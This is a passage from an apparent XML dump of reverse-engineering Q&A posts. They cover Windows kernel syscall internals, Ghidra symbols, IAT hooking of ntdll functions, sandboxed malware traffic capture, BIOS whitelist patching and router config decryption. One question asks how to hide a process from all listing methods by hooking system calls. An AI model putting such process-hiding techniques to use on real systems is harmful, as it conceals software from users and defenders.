ds:7FFE0308h, 1&#xA;jnz     short loc_a&#xA;syscall&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="245" LastEditDate="2019-09-05T17:58:41.457" LastActivityDate="2019-10-06T13:01:25.573" Title="Why address 7FFE0308 always gets compared in 64bit applications before making a syscall in Ntdll?" Tags="|windows|x86|x86-64|security|windows-10|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22057" PostTypeId="1" CreationDate="2019-09-05T22:27:44.497" Score="2" ViewCount="2474" Body="&lt;p&gt;I have a binary which I can tell is using rapidjson (open source C++ library) (header only/not dynamically linked). How can I load debug symbols from that? It would help to see the types, function names, class names, etc. from the code calling the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than by manually hunting down and changing signatures in the decompiled code. There must be an easier way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If there's a way to do this in IDA, I can switch to that instead, just for this.)&lt;/p&gt;&#xA;" OwnerUserId="29522" LastActivityDate="2019-09-05T22:27:44.497" Title="How to add symbols from open source lib to Ghidra?" Tags="|x86|decompilation|ghidra|symbols|debugging-symbols|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22058" PostTypeId="2" ParentId="22054" CreationDate="2019-09-05T23:02:22.127" Score="1" Body="&lt;p&gt;During Kernel Initialization  ntKiSystemCallSelector is Initialized from LOADER_PARAMETER_BLOCK &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; dt nt!_LOADER_PARAMETER_BLOCK Extension-&amp;gt;VsmConfigured&#xA;   +0x0f0 Extension                : &#xA;      +0x074 VsmConfigured            : Pos 8, 1 Bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if SystemCallSelector is Set to True &lt;/p&gt;&#xA;&#xA;&lt;p&gt;KUSER_SHARED_DATA-&gt;SystemCall is also set to true and int 2E is used &#xA;else syscall is used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IsVsmConfigured = Loader_Param_Block-&amp;gt;Extension-&amp;gt;_bitfield_116;&#xA;if ((IsVsmConfigured &amp;amp; 8) != 0) {&#xA;  _KiBootDebuggerActive = 1;&#xA;  IsVsmConfigured = Loader_Param_Block-&amp;gt;Extension-&amp;gt;_bitfield_116;&#xA;}&#xA;if ((IsVsmConfigured &amp;gt;&amp;gt; 8 &amp;amp; 1) != 0) {&#xA;  _KiSystemCallSelector = 1;&#xA;}&#xA;KiInitializeIdt(lVar7,0);&#xA;HalInitializeBios(0xffffffff,Loader_Param_Block);&#xA;InbvDriverInitialize(0xffffffff,Loader_Param_Block,0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based On the Extension-&gt;VsmConfigured kuser-&gt;SysstemCall is set&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (((param_5 == 0) &amp;amp;&amp;amp;&#xA;      (local_2a0 = param_1, local_280 = param_3, local_278 = param_2, local_270 = param_2,&#xA;      local_268 = param_4, HvlPhase0Initialize(param_6), _KiSystemCallSelector == 1)) &amp;amp;&amp;amp;&#xA;     ((HvlEnlightenments &amp;amp; 0x80000) != 0)) {&#xA;    _kuser-&amp;gt;SystemCall = 1;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows Details &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;wmic os get Caption,OsArchitecture,Version /format:list&#xA;&#xA;Caption=Microsoft Windows 10 Pro&#xA;OSArchitecture=64-bit&#xA;Version=10.0.17763&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;details of the global KiSystemCallSelector  and its usage in module ntkrnlmp &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; x /v /t nt!*ki*sys*sel*&#xA;pub global fffff805`4fa23164    0 &amp;lt;NoType&amp;gt; nt!KiSystemCallSelector = &amp;lt;no type information&amp;gt;&#xA;&#xA;&#xA;0: kd&amp;gt; lm m nt&#xA;Browse full module list&#xA;start             end                 module name&#xA;fffff805`4f016000 fffff805`4fa87000   nt (pdb symbols)   &#xA; \ntkrnlmp.pdb\9A729548AB1A93E90D0A48528CE30B7A1\ntkrnlmp.pdb&#xA;&#xA;&#xA;0: kd&amp;gt; # *nt!KiSystemCallSelector* fffff805`4f016000 l?(fffff805`4fa87000-fffff805`4f016000)&#xA;&#xA;nt!KiInitializeBootStructures+0x224:&#xA;f805`4f5865a4 44892db9cb4900  mov dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r13d &#xA;nt!KiInitializeKernel+0x5be:&#xA;f805`4f587e6e 443935efb24900  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r14d&#xA;nt!KiInitializeIdt+0x169:&#xA;f805`4f58954d 833d109c490001  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Back And Forward Disassembly of Search Hits&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; ub fffff805`4f5865a4&#xA;nt!KiInitializeBootStructures+0x206:&#xA;f805`4f586586 488b96f0000000  mov rdx,qword ptr [rsi+0F0h] &amp;lt;&amp;lt;&amp;lt;&amp;lt;;LPARMBLOCK-&amp;gt;Extension&#xA;f805`4f58658d 8b4274          mov eax,dword ptr [rdx+74h] &amp;lt;&amp;lt;&amp;lt;&amp;lt;;LPARMEXT-&amp;gt;@#74&#xA;f805`4f586590 a808            testal,8&#xA;f805`4f586592 740a            je  nt!KiInitializeBootStructures+0x21e (fffff805`4f58659e)&#xA;f805`4f586594 44892d81d04900  mov dword ptr [nt!KiBootDebuggerActive (f805`4fa2361c)],r13d&#xA;f805`4f58659b 8b4274          mov eax,dword ptr [rdx+74h]&#xA;f805`4f58659e 0fbae008        bt  eax,8           &amp;lt;&amp;lt;&amp;lt;&amp;lt; bittesting bit 8 &#xA;f805`4f5865a2 7307            jae nt!KiInitializeBootStructures+0x22b (fffff805`4f5865ab)&#xA;&#xA;0: kd&amp;gt; $$ rsi = LOADER_PARAMETER_BLOCK&#xA;&#xA;0: kd&amp;gt; dt nt!_LOADER_PARAMETER_BLOCK -y Exten&#xA;   +0x0f0 Extension : Ptr64 _LOADER_PARAMETER_EXTENSION&#xA;&#xA;0: kd&amp;gt; dt nt!_LOADER_PARAMETER_EXTENSION -y vsm&#xA;   +0x074 VsmConfigured : Pos 8, 1 Bit&#xA;&#xA;0: kd&amp;gt; $$ r13d = 1&#xA;&#xA;0: kd&amp;gt; u fffff805`4f5865a4&#xA;nt!KiInitializeBootStructures+0x224:&#xA;;set if vsmConfigured&#xA;f805`4f5865a4 44892db9cb4900  mov dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r13d&#xA;f805`4f5865ab 33d2            xor edx,edx&#xA;f805`4f5865ad 498bcf          mov rcx,r15&#xA;f805`4f5865b0 e82f2e0000      call nt!KiInitializeIdt (fffff805`4f5893e4)&#xA;f805`4f5865b5 83cbff          or ebx,0FFFFFFFFh&#xA;f805`4f5865b8 488bd6          mov rdx,rsi&#xA;f805`4f5865bb 8bcb            mov ecx,ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ntKiSystemStartup Calls nt!KiInitializeKernel post nt!KiInitializeBootStructures&#xA;where this global is used again &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; uf /c nt!KiSystemStartup&#xA;nt!KiSystemStartup (fffff805`4f57c010)&#xA;  nt!KiSystemStartup+0x2d (fffff805`4f57c03d):&#xA;    call to nt!KdInitSystem (fffff805`4f92d140)&#xA;  nt!KiSystemStartup+0x14b (fffff805`4f57c15b):&#xA;    call to nt!KiInitializeBootStructures (fffff805`4f586380)&#xA;  nt!KiSystemStartup+0x167 (fffff805`4f57c177):&#xA;    call to nt!KdInitSystem (fffff805`4f92d140)&#xA;  nt!KiSystemStartup+0x17e (fffff805`4f57c18e):&#xA;    call to nt!KiInitializeXSave (fffff805`4f589850)&#xA;  nt!KiSystemStartup+0x204 (fffff805`4f57c214):&#xA;    call to nt!KiInitializeKernel (fffff805`4f5878b0)&#xA;  nt!KiSystemStartup+0x284 (fffff805`4f57c294):&#xA;    call to nt!KiIdleLoop (fffff805`4f1cd920)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembly Of nt!KiInitializeKernel&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; u fffff805`4f587e6e&#xA;nt!KiInitializeKernel+0x5be:&#xA;f805`4f587e6e 443935efb24900  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r14d&#xA;f805`4f587e75 0f85affaffff    jne nt!KiInitializeKernel+0x7a (f805`4f58792a)&#xA;f805`4f587e7b e902660000      jmp nt!KiInitializeKernel+0x6bd2 (fffff805`4f58e482)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;---&#xA;&#xA;&#xA;&#xA;0: kd&amp;gt; u fffff805`4f58e482 &amp;lt;&amp;lt;&amp;lt;&amp;lt;----&#xA;nt!KiInitializeKernel+0x6bd2:&#xA;f805`4f58e482 f70550aefcff00000800 test dword ptr [nt!HvlEnlightenments (f805`4f5592dc)],80000h&#xA;f805`4f58e48c 0f849894ffff    je nt!KiInitializeKernel+0x7a (f805`4f58792a)&#xA;f805`4f58e492 418bc6          mov eax,r14d&#xA;f805`4f58e495 a30803000080f7ffff mov   dword ptr [FFFFF78000000308h],eax  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;------&#xA;f805`4f58e49e e98794ffff      jmp nt!KiInitializeKernel+0x7a (f805`4f58792a)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the Address &lt;strong&gt;FFFFF78000000308h&lt;/strong&gt; is part of KUSER_SHARED_MAP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; dt nt!_KUSER_SHARED_DATA -y SystemCall fffff78000000000&#xA;   +0x308 SystemCall : 0  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   +0x30c SystemCallPad0 : 0&#xA;   +0x310 SystemCallPad : [2] 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-09-06T12:11:55.487" LastActivityDate="2019-09-06T12:11:55.487" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22060" PostTypeId="1" CreationDate="2019-09-06T08:32:13.690" Score="1" ViewCount="269" Body="&lt;p&gt;I have been trying to debug a crash using windbg on windows xp sp3. I have been getting the below error while trying to debug. I googled around and found the Microsoft no longer offers symbols exe as downloads and we need to link the MS symbols server in windbg. I tried that route too, but still failed to get rid of this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - &#xA;ntdll!DbgBreakPoint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can download the symbols for windows xp sp3 on to my local machine and then run the windbg.&lt;/p&gt;&#xA;" OwnerUserId="29249" LastActivityDate="2019-09-06T08:32:13.690" Title="Issues with Symbols when running windbg on windows xp sp3" Tags="|debuggers|windbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22061" PostTypeId="2" ParentId="21940" CreationDate="2019-09-06T12:15:22.427" Score="1" Body="&lt;p&gt;I'm uploaded some scratches to &lt;a href=&quot;https://github.com/esaulenka/ghidra_v850&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/esaulenka/ghidra_v850&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it not usable, but any help are welcome!&lt;/p&gt;&#xA;" OwnerUserId="24834" LastActivityDate="2019-09-06T12:15:22.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22062" PostTypeId="1" AcceptedAnswerId="22116" CreationDate="2019-09-06T14:33:28.537" Score="2" ViewCount="413" Body="&lt;p&gt;So it seems that there are a lot of ways of getting the process list, although I'm not sure whether in the low level do they acquire them from same place or not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so these are the ways i know :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;QuerySystemInformation (Zw or Nt)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;some place in the TEB which is pointed by FS register &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CreateToolhelp32Snapshot&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and i guess there are   more ways too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my questions are :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;do these methods use the same structure/linked list in the virtual memory of the process or they might use different methods? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If i hook the ZwQuerySystemInformation, will this stop the process from getting the list of processes? if not, then how can i be sure that a process cannot get the list? which functions should i hook or modify?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2019-09-19T08:12:49.843" Title="How to hide a process from all the methods of getting the list of processes?" Tags="|windows|x86|malware|x64dbg|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22063" PostTypeId="1" AcceptedAnswerId="22064" CreationDate="2019-09-06T15:40:47.967" Score="1" ViewCount="206" Body="&lt;p&gt;I'm trying to get a particular piece of malware to beacon, and I have my box connected to remnux, with inetsim and fakedns running. Using this setup I have been able to acquire good pcap from most samples, but this one is a bit vexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that my sample is reaching out over TCP to the correct C2 server, but ICMP returns &quot;destination unreachable (network unreachable)&quot;. I went ahead and used route/iptables as described in this post: &lt;a href=&quot;https://techanarchy.net/blog/installing-and-configuring-inetsim&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techanarchy.net/blog/installing-and-configuring-inetsim&lt;/a&gt; but now I'm finding it difficult to find the traffic since it's all to my IP in wireshark, and it seems to be ssl encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I go from here?&lt;/p&gt;&#xA;" OwnerUserId="28032" LastEditorUserId="28032" LastEditDate="2019-09-06T17:08:36.690" LastActivityDate="2019-09-10T15:03:09.400" Title="Difficulty obtaining malware traffic" Tags="|malware|networking|virtual-machines|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22064" PostTypeId="2" ParentId="22063" CreationDate="2019-09-06T17:49:56.407" Score="1" Body="&lt;p&gt;Ok, nevermind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to my question is that my particular sample uses it's own custom protocol that it sends over SSL. I can't go into further detail without mentioning the particular sample family I was working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't need to decrypt SSL traffic or anything, my previous steps actually did expose the web traffic the way I wanted it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I was wrong that my steps changed the source/destination in wireshark, it was actually fine.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastEditorUserId="28032" LastEditDate="2019-09-10T15:03:09.400" LastActivityDate="2019-09-10T15:03:09.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22066" PostTypeId="1" AcceptedAnswerId="22193" CreationDate="2019-09-06T19:11:12.470" Score="0" ViewCount="1123" Body="&lt;p&gt;So i was trying to hook the ZwQuerySystemInformation or NtZwQuerySystemInformation using IAT, but i found out that these are not inside the IAT inside the memory nor in the PE file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but maybe i am not importing them properly in my code? because in my sample code which I'm trying to hook I'm basically doing this to get its address : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ZwQuerySystemInformation = (NTSTATUS(__stdcall*)(int, PVOID, ULONG_PTR, PULONG_PTR))GetProcAddress(GetModuleHandle(L&quot;ntdll.dll&quot;), &quot;NtQuerySystemInformation&quot;);&#xA;&#xA;ZwQuerySystemInformation(SystemProcessInformation, NULL, NULL, &amp;amp;size);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;am i using the function wrong in my code and thats why its not IAT? do programs like task manager find the address of it and use it different?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is it possible to do IAT hooking with Nt and Zw functions? if not, why? I mean why its not getting included in IAT? doesn't the loader need to fix the addresses of functions just like any other library that we use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why can we use functions like Sleep() without doing stuff like above code and don't need to find its address, but when i try to use ZwQuerySystemInformation or the Nt one, i basically get a segment fault because it tries to access it from address 0 but compiler still recognizes it? if ntdll gets imported into all processes then why can't we get its address automatically?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2019-09-26T09:21:12.067" Title="Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking?" Tags="|windows|assembly|x86|c|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22068" PostTypeId="1" CreationDate="2019-09-06T19:47:35.720" Score="1" ViewCount="168" Body="&lt;p&gt;I'm reversing an open-source windows application written in C++. I found in the disassembler the desired function that I'm trying to understand its behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code this function is defined as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void ProtocolGame::sendUseItem(const Position&amp;amp; position, int itemId, int stackpos, int index)&#xA;{&#xA;    OutputMessagePtr msg(new OutputMessage);&#xA;    msg-&amp;gt;addU8(Proto::ClientUseItem);&#xA;    addPosition(msg, position);&#xA;    msg-&amp;gt;addU16(itemId);&#xA;    msg-&amp;gt;addU8(stackpos);&#xA;    msg-&amp;gt;addU8(index);&#xA;    send(msg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, this function has 4 parameters, but in assembly code it only pushes 2 args. See picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CJBey.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJBey.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on with this CALL procedure? Shouldn't it have 4 arguments?&lt;/p&gt;&#xA;" OwnerUserId="29531" LastActivityDate="2020-06-12T09:03:40.307" Title="Lack of arguments before a CALL instruction" Tags="|calling-conventions|arguments|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22069" PostTypeId="1" CreationDate="2019-09-07T10:00:45.107" Score="2" ViewCount="134" Body="&lt;p&gt;I am trying to remove the white listing for wireless cards from my Thinkpad L540 running Debian Buster. I did the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;booted with kernel parameter &lt;code&gt;iomem=relaxed&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;used &lt;a href=&quot;https://github.com/google/pawn&quot; rel=&quot;nofollow noreferrer&quot;&gt;pawn&lt;/a&gt; to dump BIOS&lt;/li&gt;&#xA;&lt;li&gt;made multiple dumps and compared the md5sum to be sure I have a valid dump&lt;/li&gt;&#xA;&lt;li&gt;I opened the BIOS dump  with &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFITool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;searched for the string &quot;Unauthorized network card....&quot;&lt;/li&gt;&#xA;&lt;li&gt;I found the PE32 image section and extracted the body. It is an efi file&lt;/li&gt;&#xA;&lt;li&gt;opened the file with IDA free and searched for the hex to find the function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the produced &lt;a href=&quot;https://pastebin.com/RW6CE1mR&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; from IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to get the graph view. I am not sure what to change exactly. But I think this is the relevant part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_6FC proc near&#xA;&#xA;var_148= qword ptr -148h&#xA;var_140= qword ptr -140h&#xA;var_138= qword ptr -138h&#xA;var_130= qword ptr -130h&#xA;var_128= byte ptr -128h&#xA;var_F8= byte ptr -0F8h&#xA;arg_0= qword ptr  8&#xA;arg_8= qword ptr  10h&#xA;&#xA;mov     rax, rsp&#xA;mov     [rax+8], rbx&#xA;push    rdi&#xA;sub     rsp, 160h&#xA;lea     r8, [rax+10h]&#xA;mov     rax, cs:qword_1040&#xA;mov     rbx, rcx&#xA;lea     rcx, qword_458+8&#xA;xor     edx, edx&#xA;call    qword ptr [rax+140h]&#xA;xor     edi, edi&#xA;cmp     rax, rdi&#xA;jl      loc_7FF&#xA;mov     edx, [rbx+4]&#xA;movzx   r9d, word ptr [rbx]&#xA;cmp     edx, 0FFFFFFFFh&#xA;jnz     short loc_75D&#xA;movzx   eax, word ptr [rbx+2]&#xA;lea     r8, a04x04x     ; &quot;%04x/%04x&quot;&#xA;lea     edx, [rdi+28h]&#xA;lea     rcx, [rsp+168h+var_128]&#xA;mov     dword ptr [rsp+168h+var_148], eax&#xA;call    sub_F9C&#xA;jmp     short loc_78E&#xA;&#xA;loc_75D:&#xA;movzx   ecx, word ptr [rbx+2]&#xA;movzx   eax, word ptr [rbx+4]&#xA;shr     edx, 10h&#xA;mov     dword ptr [rsp+168h+var_138], edx&#xA;mov     dword ptr [rsp+168h+var_140], eax&#xA;mov     dword ptr [rsp+168h+var_148], ecx&#xA;lea     rcx, [rsp+168h+var_128]&#xA;lea     r8, a04x04x04x04x ; &quot;%04x/%04x/%04x/%04x&quot;&#xA;mov     edx, 28h ; '('&#xA;mov     di, 1&#xA;call    sub_F9C&#xA;&#xA;loc_78E:&#xA;mov     r8, cs:off_298&#xA;lea     r9, [rsp+168h+var_128]&#xA;lea     rcx, [rsp+168h+var_F8]&#xA;mov     edx, 0F0h ; 'ð'&#xA;call    sub_F9C&#xA;mov     rax, cs:qword_2A0&#xA;mov     r9d, dword ptr cs:qword_280+0Ch&#xA;mov     r8d, dword ptr cs:qword_280+8&#xA;mov     ecx, dword ptr cs:qword_280&#xA;mov     [rsp+168h+var_130], rax&#xA;lea     rax, [rsp+168h+var_F8]&#xA;movzx   edx, di&#xA;add     edx, dword ptr cs:qword_280+4&#xA;mov     [rsp+168h+var_138], rax&#xA;mov     rax, cs:off_290&#xA;mov     [rsp+168h+var_140], rax&#xA;mov     rax, cs:qword_1028&#xA;mov     [rsp+168h+var_148], rax&#xA;mov     rax, [rsp+168h+arg_8]&#xA;call    qword ptr [rax+8]&#xA;&#xA;loc_7FF:&#xA;mov     rbx, [rsp+168h+arg_0]&#xA;add     rsp, 160h&#xA;pop     rdi&#xA;retn&#xA;sub_6FC endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I thought of replacing the &lt;code&gt;jl loc_7FF&lt;/code&gt; to &lt;code&gt;jmp  loc_7FF&lt;/code&gt;. But I am not sure if this is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to provide the graph view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="29537" LastEditorUserId="29537" LastEditDate="2019-09-07T21:07:57.907" LastActivityDate="2019-09-07T21:07:57.907" Title="removing bios wireless white listing" Tags="|ida|bios|uefi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22070" PostTypeId="1" AcceptedAnswerId="22071" CreationDate="2019-09-07T11:41:04.980" Score="2" ViewCount="1076" Body="&lt;p&gt;I came upon this question : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/22066/can-we-hook-the-nt-or-zw-functions-using-iat-hooking-or-just-inline-hooking&quot;&gt;Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it got me wondering, lets say for some reason some function was not in the IAT of our target PE in virtual memory, like the above question which is Zw/NtQuerySystemInformation (I'm still not sure why this is not included in IAT tho), so in this case if we wanted to hook the IAT, would it be possible to hook the export table of kernel32.dll or ntdll.dll and do it like that instead? because i assume this function has to be there at least&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so this takes me back to the question, will the loader fill our IAT when its loading the PE into memory by checking the export tables, or when our program uses it? because if its the first case then I assume there is no way to hook the export table right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also does anyone know why functions like ZwQuerySystemInformation dont get included in IAT but stuff like Sleep and GetProcAddress Does?&lt;/p&gt;&#xA;" OwnerUserId="28159" LastEditorUserId="28159" LastEditDate="2019-09-07T12:18:08.623" LastActivityDate="2019-09-08T10:15:00.293" Title="Does the loader fill the IAT table of an .exe in load time by checking the corresponding export tables or during run time?" Tags="|windows|x86|patching|patch-reversing|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22071" PostTypeId="2" ParentId="22070" CreationDate="2019-09-07T14:55:21.533" Score="2" Body="&lt;p&gt;the Apis like Sleep are documented  a header file is provided in the sdk a library to link against is provided  by sdk  (windows.h ,kernel32.lib)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;api s like Zwxxx are internal or advanced user apis they or either undocumented or semidocumented  or documented for usage in a kernel mode&lt;br&gt;&#xA; these apis are not to be taken for granted to be either forward compatible  or backward compatible  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you use them then all the care that is required is to be taken by the one who is using them &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so they are designed to be dynamically called  using load library , getting the procedure address  , casting the return as a typedeffed function pointer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;they dont reside in IAT or loader doesnot resolve them&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-07T14:55:21.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22072" PostTypeId="1" AcceptedAnswerId="29717" CreationDate="2019-09-07T19:43:15.897" Score="2" ViewCount="2387" Body="&lt;p&gt;followed that post from Wordpress &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Extracted the 4 Hex strings needed. But, looks like there is a twist. the IV is 64 bits long.. so the .Py script he shared gives an error that the IV is too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;uploaded the 4 files (GetInfo 1 through 4) and the extractkey.py script. also included is the output from that script as a proof.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://drive.google.com/drive/folders/1hLF1I9lpB8etVNDGcuocoCmTpM6GciGJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/1hLF1I9lpB8etVNDGcuocoCmTpM6GciGJ&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EDIT : can anyone get me in contact with that person on the wordpress ? Maybe he can help&lt;/p&gt;&#xA;" OwnerUserId="29543" LastEditorUserId="29543" LastEditDate="2020-01-20T18:27:03.227" LastActivityDate="2021-12-14T01:07:34.773" Title="Decrypting the Config file of a Huawei router &quot;HG630 V2&quot;" Tags="|disassembly|firmware|decryption|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22074" PostTypeId="1" CreationDate="2019-09-08T07:54:29.017" Score="4" ViewCount="947" Body="&lt;p&gt;I have been trying to work out if its possible to reverse engineer the firmware for the Aether Cone. This is a good sound quality WIFI and Bluetooth speaker, but with Aether going bust, there is no support only a final firmware that enabled spotify. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Information I currently know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;CPU MCIMX6L3DVN10AB Arm Cortex A9:&#xA;&lt;a href=&quot;https://www.nxp.com/part/MCIMX6L3DVN10AB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nxp.com/part/MCIMX6L3DVN10AB&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Storage 4G Sandisk:&#xA;&lt;a href=&quot;https://d3nevzfk7ii3be.cloudfront.net/igi/NYUMNKWYff1QtBte.huge&quot; rel=&quot;nofollow 